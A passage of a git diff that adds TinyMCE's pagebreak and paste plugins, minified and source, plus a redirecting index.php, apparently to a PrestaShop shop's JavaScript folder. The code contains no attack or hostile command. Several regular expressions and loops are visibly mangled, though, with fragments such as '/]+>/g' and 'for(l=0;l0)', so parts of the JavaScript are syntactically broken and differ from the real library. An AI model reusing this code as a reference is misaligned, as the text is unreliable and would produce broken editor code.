o.content.replace(/]+>/g, function(im) { + if (im.indexOf('class="mcePageBreak') !== -1) + im = sep; + + return im; + }); + }); + }, + + getInfo : function() { + return { + longname : 'PageBreak', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/pagebreak', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('pagebreak', tinymce.plugins.PageBreakPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/pagebreak/index.php b/js/tiny_mce/plugins/pagebreak/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/pagebreak/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/editor_plugin.js b/js/tiny_mce/plugins/paste/editor_plugin.js new file mode 100755 index 0000000..e47a5c6 --- /dev/null +++ b/js/tiny_mce/plugins/paste/editor_plugin.js @@ -0,0 +1 @@ +(function(){var c=tinymce.each,a={paste_auto_cleanup_on_paste:true,paste_enable_default_filters:true,paste_block_drop:false,paste_retain_style_properties:"none",paste_strip_class_attributes:"mso",paste_remove_spans:false,paste_remove_styles:false,paste_remove_styles_if_webkit:true,paste_convert_middot_lists:true,paste_convert_headers_to_strong:false,paste_dialog_width:"450",paste_dialog_height:"400",paste_text_use_dialog:false,paste_text_sticky:false,paste_text_sticky_default:false,paste_text_notifyalways:false,paste_text_linebreaktype:"combined",paste_text_replacements:[[/\u2026/g,"..."],[/[\x93\x94\u201c\u201d]/g,'"'],[/[\x60\x91\x92\u2018\u2019]/g,"'"]]};function b(d,e){return d.getParam(e,a[e])}tinymce.create("tinymce.plugins.PastePlugin",{init:function(d,e){var f=this;f.editor=d;f.url=e;f.onPreProcess=new tinymce.util.Dispatcher(f);f.onPostProcess=new tinymce.util.Dispatcher(f);f.onPreProcess.add(f._preProcess);f.onPostProcess.add(f._postProcess);f.onPreProcess.add(function(i,j){d.execCallback("paste_preprocess",i,j)});f.onPostProcess.add(function(i,j){d.execCallback("paste_postprocess",i,j)});d.onKeyDown.addToTop(function(i,j){if(((tinymce.isMac?j.metaKey:j.ctrlKey)&&j.keyCode==86)||(j.shiftKey&&j.keyCode==45)){return false}});d.pasteAsPlainText=b(d,"paste_text_sticky_default");function h(l,j){var k=d.dom,i;f.onPreProcess.dispatch(f,l);l.node=k.create("div",0,l.content);if(tinymce.isGecko){i=d.selection.getRng(true);if(i.startContainer==i.endContainer&&i.startContainer.nodeType==3){if(l.node.childNodes.length===1&&/^(p|h[1-6]|pre)$/i.test(l.node.firstChild.nodeName)&&l.content.indexOf("__MCE_ITEM__")===-1){k.remove(l.node.firstChild,true)}}}f.onPostProcess.dispatch(f,l);l.content=d.serializer.serialize(l.node,{getInner:1,forced_root_block:""});if((!j)&&(d.pasteAsPlainText)){f._insertPlainText(l.content);if(!b(d,"paste_text_sticky")){d.pasteAsPlainText=false;d.controlManager.setActive("pastetext",false)}}else{f._insert(l.content)}}d.addCommand("mceInsertClipboardContent",function(i,j){h(j,true)});if(!b(d,"paste_text_use_dialog")){d.addCommand("mcePasteText",function(j,i){var k=tinymce.util.Cookie;d.pasteAsPlainText=!d.pasteAsPlainText;d.controlManager.setActive("pastetext",d.pasteAsPlainText);if((d.pasteAsPlainText)&&(!k.get("tinymcePasteText"))){if(b(d,"paste_text_sticky")){d.windowManager.alert(d.translate("paste.plaintext_mode_sticky"))}else{d.windowManager.alert(d.translate("paste.plaintext_mode"))}if(!b(d,"paste_text_notifyalways")){k.set("tinymcePasteText","1",new Date(new Date().getFullYear()+1,12,31))}}})}d.addButton("pastetext",{title:"paste.paste_text_desc",cmd:"mcePasteText"});d.addButton("selectall",{title:"paste.selectall_desc",cmd:"selectall"});function g(s){var l,p,j,t,k=d.selection,o=d.dom,q=d.getBody(),i,r;if(s.clipboardData||o.doc.dataTransfer){r=(s.clipboardData||o.doc.dataTransfer).getData("Text");if(d.pasteAsPlainText){s.preventDefault();h({content:o.encode(r).replace(/\r?\n/g,"
    ")});return}}if(o.get("_mcePaste")){return}l=o.add(q,"div",{id:"_mcePaste","class":"mcePaste","data-mce-bogus":"1"},"\uFEFF\uFEFF");if(q!=d.getDoc().body){i=o.getPos(d.selection.getStart(),q).y}else{i=q.scrollTop+o.getViewPort(d.getWin()).y}o.setStyles(l,{position:"absolute",left:tinymce.isGecko?-40:0,top:i-25,width:1,height:1,overflow:"hidden"});if(tinymce.isIE){t=k.getRng();j=o.doc.body.createTextRange();j.moveToElementText(l);j.execCommand("Paste");o.remove(l);if(l.innerHTML==="\uFEFF\uFEFF"){d.execCommand("mcePasteWord");s.preventDefault();return}k.setRng(t);k.setContent("");setTimeout(function(){h({content:l.innerHTML})},0);return tinymce.dom.Event.cancel(s)}else{function m(n){n.preventDefault()}o.bind(d.getDoc(),"mousedown",m);o.bind(d.getDoc(),"keydown",m);p=d.selection.getRng();l=l.firstChild;j=d.getDoc().createRange();j.setStart(l,0);j.setEnd(l,2);k.setRng(j);window.setTimeout(function(){var u="",n;if(!o.select("div.mcePaste > div.mcePaste").length){n=o.select("div.mcePaste");c(n,function(w){var v=w.firstChild;if(v&&v.nodeName=="DIV"&&v.style.marginTop&&v.style.backgroundColor){o.remove(v,1)}c(o.select("span.Apple-style-span",w),function(x){o.remove(x,1)});c(o.select("br[data-mce-bogus]",w),function(x){o.remove(x)});if(w.parentNode.className!="mcePaste"){u+=w.innerHTML}})}else{u="

    "+o.encode(r).replace(/\r?\n\r?\n/g,"

    ").replace(/\r?\n/g,"
    ")+"

    "}c(o.select("div.mcePaste"),function(v){o.remove(v)});if(p){k.setRng(p)}h({content:u});o.unbind(d.getDoc(),"mousedown",m);o.unbind(d.getDoc(),"keydown",m)},0)}}if(b(d,"paste_auto_cleanup_on_paste")){if(tinymce.isOpera||/Firefox\/2/.test(navigator.userAgent)){d.onKeyDown.addToTop(function(i,j){if(((tinymce.isMac?j.metaKey:j.ctrlKey)&&j.keyCode==86)||(j.shiftKey&&j.keyCode==45)){g(j)}})}else{d.onPaste.addToTop(function(i,j){return g(j)})}}d.onInit.add(function(){d.controlManager.setActive("pastetext",d.pasteAsPlainText);if(b(d,"paste_block_drop")){d.dom.bind(d.getBody(),["dragend","dragover","draggesture","dragdrop","drop","drag"],function(i){i.preventDefault();i.stopPropagation();return false})}});f._legacySupport()},getInfo:function(){return{longname:"Paste text/word",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_preProcess:function(g,e){var k=this.editor,j=e.content,p=tinymce.grep,n=tinymce.explode,f=tinymce.trim,l,i;function d(h){c(h,function(o){if(o.constructor==RegExp){j=j.replace(o,"")}else{j=j.replace(o[0],o[1])}})}if(k.settings.paste_enable_default_filters==false){return}if(tinymce.isIE&&document.documentMode>=9){d([[/(?:
     [\s\r\n]+|
    )*(<\/?(h[1-6r]|p|div|address|pre|form|table|tbody|thead|tfoot|th|tr|td|li|ol|ul|caption|blockquote|center|dl|dt|dd|dir|fieldset)[^>]*>)(?:
     [\s\r\n]+|
    )*/g,"$1"]]);d([[/

    /g,"

    "],[/
    /g," "],[/

    /g,"
    "]])}if(/class="?Mso|style="[^"]*\bmso-|w:WordDocument/i.test(j)||e.wordContent){e.wordContent=true;d([/^\s*( )+/gi,/( |]*>)+\s*$/gi]);if(b(k,"paste_convert_headers_to_strong")){j=j.replace(/

    ]*class="?MsoHeading"?[^>]*>(.*?)<\/p>/gi,"

    $1

    ")}if(b(k,"paste_convert_middot_lists")){d([[//gi,"$&__MCE_ITEM__"],[/(]+(?:mso-list:|:\s*symbol)[^>]+>)/gi,"$1__MCE_ITEM__"],[/(]+(?:MsoListParagraph)[^>]+>)/gi,"$1__MCE_ITEM__"]])}d([//gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/ /gi,"\u00a0"]]);do{l=j.length;j=j.replace(/(<[a-z][^>]*\s)(?:id|name|language|type|on\w+|\w+:\w+)=(?:"[^"]*"|\w+)\s?/gi,"$1")}while(l!=j.length);if(b(k,"paste_retain_style_properties").replace(/^none$/i,"").length==0){j=j.replace(/<\/?span[^>]*>/gi,"")}else{d([[/([\s\u00a0]*)<\/span>/gi,function(o,h){return(h.length>0)?h.replace(/./," ").slice(Math.floor(h.length/2)).split("").join("\u00a0"):""}],[/(<[a-z][^>]*)\sstyle="([^"]*)"/gi,function(t,h,r){var u=[],o=0,q=n(f(r).replace(/"/gi,"'"),";");c(q,function(s){var w,y,z=n(s,":");function x(A){return A+((A!=="0")&&(/\d$/.test(A)))?"px":""}if(z.length==2){w=z[0].toLowerCase();y=z[1].toLowerCase();switch(w){case"mso-padding-alt":case"mso-padding-top-alt":case"mso-padding-right-alt":case"mso-padding-bottom-alt":case"mso-padding-left-alt":case"mso-margin-alt":case"mso-margin-top-alt":case"mso-margin-right-alt":case"mso-margin-bottom-alt":case"mso-margin-left-alt":case"mso-table-layout-alt":case"mso-height":case"mso-width":case"mso-vertical-align-alt":u[o++]=w.replace(/^mso-|-alt$/g,"")+":"+x(y);return;case"horiz-align":u[o++]="text-align:"+y;return;case"vert-align":u[o++]="vertical-align:"+y;return;case"font-color":case"mso-foreground":u[o++]="color:"+y;return;case"mso-background":case"mso-highlight":u[o++]="background:"+y;return;case"mso-default-height":u[o++]="min-height:"+x(y);return;case"mso-default-width":u[o++]="min-width:"+x(y);return;case"mso-padding-between-alt":u[o++]="border-collapse:separate;border-spacing:"+x(y);return;case"text-line-through":if((y=="single")||(y=="double")){u[o++]="text-decoration:line-through"}return;case"mso-zero-height":if(y=="yes"){u[o++]="display:none"}return}if(/^(mso|column|font-emph|lang|layout|line-break|list-image|nav|panose|punct|row|ruby|sep|size|src|tab-|table-border|text-(?!align|decor|indent|trans)|top-bar|version|vnd|word-break)/.test(w)){return}u[o++]=w+":"+z[1]}});if(o>0){return h+' style="'+u.join(";")+'"'}else{return h}}]])}}if(b(k,"paste_convert_headers_to_strong")){d([[/]*>/gi,"

    "],[/<\/h[1-6][^>]*>/gi,"

    "]])}d([[/Version:[\d.]+\nStartHTML:\d+\nEndHTML:\d+\nStartFragment:\d+\nEndFragment:\d+/gi,""]]);i=b(k,"paste_strip_class_attributes");if(i!=="none"){function m(q,o){if(i==="all"){return""}var h=p(n(o.replace(/^(["'])(.*)\1$/,"$2")," "),function(r){return(/^(?!mso)/i.test(r))});return h.length?' class="'+h.join(" ")+'"':""}j=j.replace(/ class="([^"]+)"/gi,m);j=j.replace(/ class=([\-\w]+)/gi,m)}if(b(k,"paste_remove_spans")){j=j.replace(/<\/?span[^>]*>/gi,"")}e.content=j},_postProcess:function(g,i){var f=this,e=f.editor,h=e.dom,d;if(e.settings.paste_enable_default_filters==false){return}if(i.wordContent){c(h.select("a",i.node),function(j){if(!j.href||j.href.indexOf("#_Toc")!=-1){h.remove(j,1)}});if(b(e,"paste_convert_middot_lists")){f._convertLists(g,i)}d=b(e,"paste_retain_style_properties");if((tinymce.is(d,"string"))&&(d!=="all")&&(d!=="*")){d=tinymce.explode(d.replace(/^none$/i,""));c(h.select("*",i.node),function(m){var n={},k=0,l,o,j;if(d){for(l=0;l0){h.setStyles(m,n)}else{if(m.nodeName=="SPAN"&&!m.className){h.remove(m,true)}}})}}if(b(e,"paste_remove_styles")||(b(e,"paste_remove_styles_if_webkit")&&tinymce.isWebKit)){c(h.select("*[style]",i.node),function(j){j.removeAttribute("style");j.removeAttribute("data-mce-style")})}else{if(tinymce.isWebKit){c(h.select("*",i.node),function(j){j.removeAttribute("data-mce-style")})}}},_convertLists:function(g,e){var i=g.editor.dom,h,l,d=-1,f,m=[],k,j;c(i.select("p",e.node),function(t){var q,u="",s,r,n,o;for(q=t.firstChild;q&&q.nodeType==3;q=q.nextSibling){u+=q.nodeValue}u=t.innerHTML.replace(/<\/?\w+[^>]*>/gi,"").replace(/ /g,"\u00a0");if(/^(__MCE_ITEM__)+[\u2022\u00b7\u00a7\u00d8o\u25CF]\s*\u00a0*/.test(u)){s="ul"}if(/^__MCE_ITEM__\s*\w+\.\s*\u00a0+/.test(u)){s="ol"}if(s){f=parseFloat(t.style.marginLeft||0);if(f>d){m.push(f)}if(!h||s!=k){h=i.create(s);i.insertAfter(h,t)}else{if(f>d){h=l.appendChild(i.create(s))}else{if(f]*>/gi,"");if(s=="ul"&&/^__MCE_ITEM__[\u2022\u00b7\u00a7\u00d8o\u25CF]/.test(p)){i.remove(v)}else{if(/^__MCE_ITEM__[\s\S]*\w+\.( |\u00a0)*\s*/.test(p)){i.remove(v)}}});r=t.innerHTML;if(s=="ul"){r=t.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^[\u2022\u00b7\u00a7\u00d8o\u25CF]\s*( |\u00a0)+\s*/,"")}else{r=t.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^\s*\w+\.( |\u00a0)+\s*/,"")}l=h.appendChild(i.create("li",0,r));i.remove(t);d=f;k=s}else{h=d=0}});j=e.node.innerHTML;if(j.indexOf("__MCE_ITEM__")!=-1){e.node.innerHTML=j.replace(/__MCE_ITEM__/g,"")}},_insert:function(f,d){var e=this.editor,g=e.selection.getRng();if(!e.selection.isCollapsed()&&g.startContainer!=g.endContainer){e.getDoc().execCommand("Delete",false,null)}e.execCommand("mceInsertContent",false,f,{skip_undo:d})},_insertPlainText:function(g){var d=this.editor,e=b(d,"paste_text_linebreaktype"),i=b(d,"paste_text_replacements"),f=tinymce.is;function h(j){c(j,function(k){if(k.constructor==RegExp){g=g.replace(k,"")}else{g=g.replace(k[0],k[1])}})}if((typeof(g)==="string")&&(g.length>0)){if(/<(?:p|br|h[1-6]|ul|ol|dl|table|t[rdh]|div|blockquote|fieldset|pre|address|center)[^>]*>/i.test(g)){h([/[\n\r]+/g])}else{h([/\r+/g])}h([[/<\/(?:p|h[1-6]|ul|ol|dl|table|div|blockquote|fieldset|pre|address|center)>/gi,"\n\n"],[/]*>|<\/tr>/gi,"\n"],[/<\/t[dh]>\s*]*>/gi,"\t"],/<[a-z!\/?][^>]*>/gi,[/ /gi," "],[/(?:(?!\n)\s)*(\n+)(?:(?!\n)\s)*/gi,"$1"],[/\n{3,}/g,"\n\n"]]);g=d.dom.decode(tinymce.html.Entities.encodeRaw(g));if(f(i,"array")){h(i)}else{if(f(i,"string")){h(new RegExp(i,"gi"))}}if(e=="none"){h([[/\n+/g," "]])}else{if(e=="br"){h([[/\n/g,"
    "]])}else{if(e=="p"){h([[/\n+/g,"

    "],[/^(.*<\/p>)(

    )$/,"

    $1"]])}else{h([[/\n\n/g,"

    "],[/^(.*<\/p>)(

    )$/,"

    $1"],[/\n/g,"
    "]])}}}d.execCommand("mceInsertContent",false,g)}},_legacySupport:function(){var e=this,d=e.editor;d.addCommand("mcePasteWord",function(){d.windowManager.open({file:e.url+"/pasteword.htm",width:parseInt(b(d,"paste_dialog_width")),height:parseInt(b(d,"paste_dialog_height")),inline:1})});if(b(d,"paste_text_use_dialog")){d.addCommand("mcePasteText",function(){d.windowManager.open({file:e.url+"/pastetext.htm",width:parseInt(b(d,"paste_dialog_width")),height:parseInt(b(d,"paste_dialog_height")),inline:1})})}d.addButton("pasteword",{title:"paste.paste_word_desc",cmd:"mcePasteWord"})}});tinymce.PluginManager.add("paste",tinymce.plugins.PastePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/editor_plugin_src.js b/js/tiny_mce/plugins/paste/editor_plugin_src.js new file mode 100755 index 0000000..cec4abf --- /dev/null +++ b/js/tiny_mce/plugins/paste/editor_plugin_src.js @@ -0,0 +1,871 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var each = tinymce.each, + defs = { + paste_auto_cleanup_on_paste : true, + paste_enable_default_filters : true, + paste_block_drop : false, + paste_retain_style_properties : "none", + paste_strip_class_attributes : "mso", + paste_remove_spans : false, + paste_remove_styles : false, + paste_remove_styles_if_webkit : true, + paste_convert_middot_lists : true, + paste_convert_headers_to_strong : false, + paste_dialog_width : "450", + paste_dialog_height : "400", + paste_text_use_dialog : false, + paste_text_sticky : false, + paste_text_sticky_default : false, + paste_text_notifyalways : false, + paste_text_linebreaktype : "combined", + paste_text_replacements : [ + [/\u2026/g, "..."], + [/[\x93\x94\u201c\u201d]/g, '"'], + [/[\x60\x91\x92\u2018\u2019]/g, "'"] + ] + }; + + function getParam(ed, name) { + return ed.getParam(name, defs[name]); + } + + tinymce.create('tinymce.plugins.PastePlugin', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + t.url = url; + + // Setup plugin events + t.onPreProcess = new tinymce.util.Dispatcher(t); + t.onPostProcess = new tinymce.util.Dispatcher(t); + + // Register default handlers + t.onPreProcess.add(t._preProcess); + t.onPostProcess.add(t._postProcess); + + // Register optional preprocess handler + t.onPreProcess.add(function(pl, o) { + ed.execCallback('paste_preprocess', pl, o); + }); + + // Register optional postprocess + t.onPostProcess.add(function(pl, o) { + ed.execCallback('paste_postprocess', pl, o); + }); + + ed.onKeyDown.addToTop(function(ed, e) { + // Block ctrl+v from adding an undo level since the default logic in tinymce.Editor will add that + if (((tinymce.isMac ? e.metaKey : e.ctrlKey) && e.keyCode == 86) || (e.shiftKey && e.keyCode == 45)) + return false; // Stop other listeners + }); + + // Initialize plain text flag + ed.pasteAsPlainText = getParam(ed, 'paste_text_sticky_default'); + + // This function executes the process handlers and inserts the contents + // force_rich overrides plain text mode set by user, important for pasting with execCommand + function process(o, force_rich) { + var dom = ed.dom, rng; + + // Execute pre process handlers + t.onPreProcess.dispatch(t, o); + + // Create DOM structure + o.node = dom.create('div', 0, o.content); + + // If pasting inside the same element and the contents is only one block + // remove the block and keep the text since Firefox will copy parts of pre and h1-h6 as a pre element + if (tinymce.isGecko) { + rng = ed.selection.getRng(true); + if (rng.startContainer == rng.endContainer && rng.startContainer.nodeType == 3) { + // Is only one block node and it doesn't contain word stuff + if (o.node.childNodes.length === 1 && /^(p|h[1-6]|pre)$/i.test(o.node.firstChild.nodeName) && o.content.indexOf('__MCE_ITEM__') === -1) + dom.remove(o.node.firstChild, true); + } + } + + // Execute post process handlers + t.onPostProcess.dispatch(t, o); + + // Serialize content + o.content = ed.serializer.serialize(o.node, {getInner : 1, forced_root_block : ''}); + + // Plain text option active? + if ((!force_rich) && (ed.pasteAsPlainText)) { + t._insertPlainText(o.content); + + if (!getParam(ed, "paste_text_sticky")) { + ed.pasteAsPlainText = false; + ed.controlManager.setActive("pastetext", false); + } + } else { + t._insert(o.content); + } + } + + // Add command for external usage + ed.addCommand('mceInsertClipboardContent', function(u, o) { + process(o, true); + }); + + if (!getParam(ed, "paste_text_use_dialog")) { + ed.addCommand('mcePasteText', function(u, v) { + var cookie = tinymce.util.Cookie; + + ed.pasteAsPlainText = !ed.pasteAsPlainText; + ed.controlManager.setActive('pastetext', ed.pasteAsPlainText); + + if ((ed.pasteAsPlainText) && (!cookie.get("tinymcePasteText"))) { + if (getParam(ed, "paste_text_sticky")) { + ed.windowManager.alert(ed.translate('paste.plaintext_mode_sticky')); + } else { + ed.windowManager.alert(ed.translate('paste.plaintext_mode')); + } + + if (!getParam(ed, "paste_text_notifyalways")) { + cookie.set("tinymcePasteText", "1", new Date(new Date().getFullYear() + 1, 12, 31)) + } + } + }); + } + + ed.addButton('pastetext', {title: 'paste.paste_text_desc', cmd: 'mcePasteText'}); + ed.addButton('selectall', {title: 'paste.selectall_desc', cmd: 'selectall'}); + + // This function grabs the contents from the clipboard by adding a + // hidden div and placing the caret inside it and after the browser paste + // is done it grabs that contents and processes that + function grabContent(e) { + var n, or, rng, oldRng, sel = ed.selection, dom = ed.dom, body = ed.getBody(), posY, textContent; + + // Check if browser supports direct plaintext access + if (e.clipboardData || dom.doc.dataTransfer) { + textContent = (e.clipboardData || dom.doc.dataTransfer).getData('Text'); + + if (ed.pasteAsPlainText) { + e.preventDefault(); + process({content : dom.encode(textContent).replace(/\r?\n/g, '
    ')}); + return; + } + } + + if (dom.get('_mcePaste')) + return; + + // Create container to paste into + n = dom.add(body, 'div', {id : '_mcePaste', 'class' : 'mcePaste', 'data-mce-bogus' : '1'}, '\uFEFF\uFEFF'); + + // If contentEditable mode we need to find out the position of the closest element + if (body != ed.getDoc().body) + posY = dom.getPos(ed.selection.getStart(), body).y; + else + posY = body.scrollTop + dom.getViewPort(ed.getWin()).y; + + // Styles needs to be applied after the element is added to the document since WebKit will otherwise remove all styles + // If also needs to be in view on IE or the paste would fail + dom.setStyles(n, { + position : 'absolute', + left : tinymce.isGecko ? -40 : 0, // Need to move it out of site on Gecko since it will othewise display a ghost resize rect for the div + top : posY - 25, + width : 1, + height : 1, + overflow : 'hidden' + }); + + if (tinymce.isIE) { + // Store away the old range + oldRng = sel.getRng(); + + // Select the container + rng = dom.doc.body.createTextRange(); + rng.moveToElementText(n); + rng.execCommand('Paste'); + + // Remove container + dom.remove(n); + + // Check if the contents was changed, if it wasn't then clipboard extraction failed probably due + // to IE security settings so we pass the junk though better than nothing right + if (n.innerHTML === '\uFEFF\uFEFF') { + ed.execCommand('mcePasteWord'); + e.preventDefault(); + return; + } + + // Restore the old range and clear the contents before pasting + sel.setRng(oldRng); + sel.setContent(''); + + // For some odd reason we need to detach the the mceInsertContent call from the paste event + // It's like IE has a reference to the parent element that you paste in and the selection gets messed up + // when it tries to restore the selection + setTimeout(function() { + // Process contents + process({content : n.innerHTML}); + }, 0); + + // Block the real paste event + return tinymce.dom.Event.cancel(e); + } else { + function block(e) { + e.preventDefault(); + }; + + // Block mousedown and click to prevent selection change + dom.bind(ed.getDoc(), 'mousedown', block); + dom.bind(ed.getDoc(), 'keydown', block); + + or = ed.selection.getRng(); + + // Move select contents inside DIV + n = n.firstChild; + rng = ed.getDoc().createRange(); + rng.setStart(n, 0); + rng.setEnd(n, 2); + sel.setRng(rng); + + // Wait a while and grab the pasted contents + window.setTimeout(function() { + var h = '', nl; + + // Paste divs duplicated in paste divs seems to happen when you paste plain text so lets first look for that broken behavior in WebKit + if (!dom.select('div.mcePaste > div.mcePaste').length) { + nl = dom.select('div.mcePaste'); + + // WebKit will split the div into multiple ones so this will loop through then all and join them to get the whole HTML string + each(nl, function(n) { + var child = n.firstChild; + + // WebKit inserts a DIV container with lots of odd styles + if (child && child.nodeName == 'DIV' && child.style.marginTop && child.style.backgroundColor) { + dom.remove(child, 1); + } + + // Remove apply style spans + each(dom.select('span.Apple-style-span', n), function(n) { + dom.remove(n, 1); + }); + + // Remove bogus br elements + each(dom.select('br[data-mce-bogus]', n), function(n) { + dom.remove(n); + }); + + // WebKit will make a copy of the DIV for each line of plain text pasted and insert them into the DIV + if (n.parentNode.className != 'mcePaste') + h += n.innerHTML; + }); + } else { + // Found WebKit weirdness so force the content into paragraphs this seems to happen when you paste plain text from Nodepad etc + // So this logic will replace double enter with paragraphs and single enter with br so it kind of looks the same + h = '

    ' + dom.encode(textContent).replace(/\r?\n\r?\n/g, '

    ').replace(/\r?\n/g, '
    ') + '

    '; + } + + // Remove the nodes + each(dom.select('div.mcePaste'), function(n) { + dom.remove(n); + }); + + // Restore the old selection + if (or) + sel.setRng(or); + + process({content : h}); + + // Unblock events ones we got the contents + dom.unbind(ed.getDoc(), 'mousedown', block); + dom.unbind(ed.getDoc(), 'keydown', block); + }, 0); + } + } + + // Check if we should use the new auto process method + if (getParam(ed, "paste_auto_cleanup_on_paste")) { + // Is it's Opera or older FF use key handler + if (tinymce.isOpera || /Firefox\/2/.test(navigator.userAgent)) { + ed.onKeyDown.addToTop(function(ed, e) { + if (((tinymce.isMac ? e.metaKey : e.ctrlKey) && e.keyCode == 86) || (e.shiftKey && e.keyCode == 45)) + grabContent(e); + }); + } else { + // Grab contents on paste event on Gecko and WebKit + ed.onPaste.addToTop(function(ed, e) { + return grabContent(e); + }); + } + } + + ed.onInit.add(function() { + ed.controlManager.setActive("pastetext", ed.pasteAsPlainText); + + // Block all drag/drop events + if (getParam(ed, "paste_block_drop")) { + ed.dom.bind(ed.getBody(), ['dragend', 'dragover', 'draggesture', 'dragdrop', 'drop', 'drag'], function(e) { + e.preventDefault(); + e.stopPropagation(); + + return false; + }); + } + }); + + // Add legacy support + t._legacySupport(); + }, + + getInfo : function() { + return { + longname : 'Paste text/word', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + _preProcess : function(pl, o) { + var ed = this.editor, + h = o.content, + grep = tinymce.grep, + explode = tinymce.explode, + trim = tinymce.trim, + len, stripClass; + + //console.log('Before preprocess:' + o.content); + + function process(items) { + each(items, function(v) { + // Remove or replace + if (v.constructor == RegExp) + h = h.replace(v, ''); + else + h = h.replace(v[0], v[1]); + }); + } + + if (ed.settings.paste_enable_default_filters == false) { + return; + } + + // IE9 adds BRs before/after block elements when contents is pasted from word or for example another browser + if (tinymce.isIE && document.documentMode >= 9) { + // IE9 adds BRs before/after block elements when contents is pasted from word or for example another browser + process([[/(?:
     [\s\r\n]+|
    )*(<\/?(h[1-6r]|p|div|address|pre|form|table|tbody|thead|tfoot|th|tr|td|li|ol|ul|caption|blockquote|center|dl|dt|dd|dir|fieldset)[^>]*>)(?:
     [\s\r\n]+|
    )*/g, '$1']]); + + // IE9 also adds an extra BR element for each soft-linefeed and it also adds a BR for each word wrap break + process([ + [/

    /g, '

    '], // Replace multiple BR elements with uppercase BR to keep them intact + [/
    /g, ' '], // Replace single br elements with space since they are word wrap BR:s + [/

    /g, '
    '] // Replace back the double brs but into a single BR + ]); + } + + // Detect Word content and process it more aggressive + if (/class="?Mso|style="[^"]*\bmso-|w:WordDocument/i.test(h) || o.wordContent) { + o.wordContent = true; // Mark the pasted contents as word specific content + //console.log('Word contents detected.'); + + // Process away some basic content + process([ + /^\s*( )+/gi, //   entities at the start of contents + /( |]*>)+\s*$/gi //   entities at the end of contents + ]); + + if (getParam(ed, "paste_convert_headers_to_strong")) { + h = h.replace(/

    ]*class="?MsoHeading"?[^>]*>(.*?)<\/p>/gi, "

    $1

    "); + } + + if (getParam(ed, "paste_convert_middot_lists")) { + process([ + [//gi, '$&__MCE_ITEM__'], // Convert supportLists to a list item marker + [/(]+(?:mso-list:|:\s*symbol)[^>]+>)/gi, '$1__MCE_ITEM__'], // Convert mso-list and symbol spans to item markers + [/(]+(?:MsoListParagraph)[^>]+>)/gi, '$1__MCE_ITEM__'] // Convert mso-list and symbol paragraphs to item markers (FF) + ]); + } + + process([ + // Word comments like conditional comments etc + //gi, + + // Remove comments, scripts (e.g., msoShowComment), XML tag, VML content, MS Office namespaced tags, and a few other tags + /<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi, + + // Convert into for line-though + [/<(\/?)s>/gi, "<$1strike>"], + + // Replace nsbp entites to char since it's easier to handle + [/ /gi, "\u00a0"] + ]); + + // Remove bad attributes, with or without quotes, ensuring that attribute text is really inside a tag. + // If JavaScript had a RegExp look-behind, we could have integrated this with the last process() array and got rid of the loop. But alas, it does not, so we cannot. + do { + len = h.length; + h = h.replace(/(<[a-z][^>]*\s)(?:id|name|language|type|on\w+|\w+:\w+)=(?:"[^"]*"|\w+)\s?/gi, "$1"); + } while (len != h.length); + + // Remove all spans if no styles is to be retained + if (getParam(ed, "paste_retain_style_properties").replace(/^none$/i, "").length == 0) { + h = h.replace(/<\/?span[^>]*>/gi, ""); + } else { + // We're keeping styles, so at least clean them up. + // CSS Reference: http://msdn.microsoft.com/en-us/library/aa155477.aspx + + process([ + // Convert ___ to string of alternating breaking/non-breaking spaces of same length + [/([\s\u00a0]*)<\/span>/gi, + function(str, spaces) { + return (spaces.length > 0)? spaces.replace(/./, " ").slice(Math.floor(spaces.length/2)).split("").join("\u00a0") : ""; + } + ], + + // Examine all styles: delete junk, transform some, and keep the rest + [/(<[a-z][^>]*)\sstyle="([^"]*)"/gi, + function(str, tag, style) { + var n = [], + i = 0, + s = explode(trim(style).replace(/"/gi, "'"), ";"); + + // Examine each style definition within the tag's style attribute + each(s, function(v) { + var name, value, + parts = explode(v, ":"); + + function ensureUnits(v) { + return v + ((v !== "0") && (/\d$/.test(v)))? "px" : ""; + } + + if (parts.length == 2) { + name = parts[0].toLowerCase(); + value = parts[1].toLowerCase(); + + // Translate certain MS Office styles into their CSS equivalents + switch (name) { + case "mso-padding-alt": + case "mso-padding-top-alt": + case "mso-padding-right-alt": + case "mso-padding-bottom-alt": + case "mso-padding-left-alt": + case "mso-margin-alt": + case "mso-margin-top-alt": + case "mso-margin-right-alt": + case "mso-margin-bottom-alt": + case "mso-margin-left-alt": + case "mso-table-layout-alt": + case "mso-height": + case "mso-width": + case "mso-vertical-align-alt": + n[i++] = 